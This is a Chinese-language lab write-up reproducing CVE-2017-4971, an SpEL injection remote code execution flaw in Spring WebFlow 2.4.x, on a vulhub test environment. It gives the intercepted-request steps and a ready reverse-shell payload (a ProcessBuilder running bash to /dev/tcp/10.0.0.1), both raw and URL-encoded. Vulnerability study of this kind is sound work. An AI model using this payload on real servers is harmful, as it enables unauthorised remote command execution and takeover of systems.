Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)

0x00 前言

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本:

Spring WebFlow 2.4.0 - 2.4.4

**利用条件:**知道用户名和密码

0x01 环境搭建

这里使用vulhub漏洞靶场

image-20230328215644173

账号密码在登录框左侧,可随意使用

0x02 复现步骤

1、访问http://192.168.12.130:8080/hotels/booking?execution=e1s1页面,任意填写数据后Proceed提交

image-20230328220249012

2、点击Confirm,并使用burpsuite抓包

获取到POST数据包后添加参数(反弹shell的poc)

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

将poc进行url编码

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub

image-20230328222352877

注意:这里直接修改原始数据包就行,重放是无法生效的

image-20230328222448000

0x03 修复建议

1、及时更新官方最新补丁


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部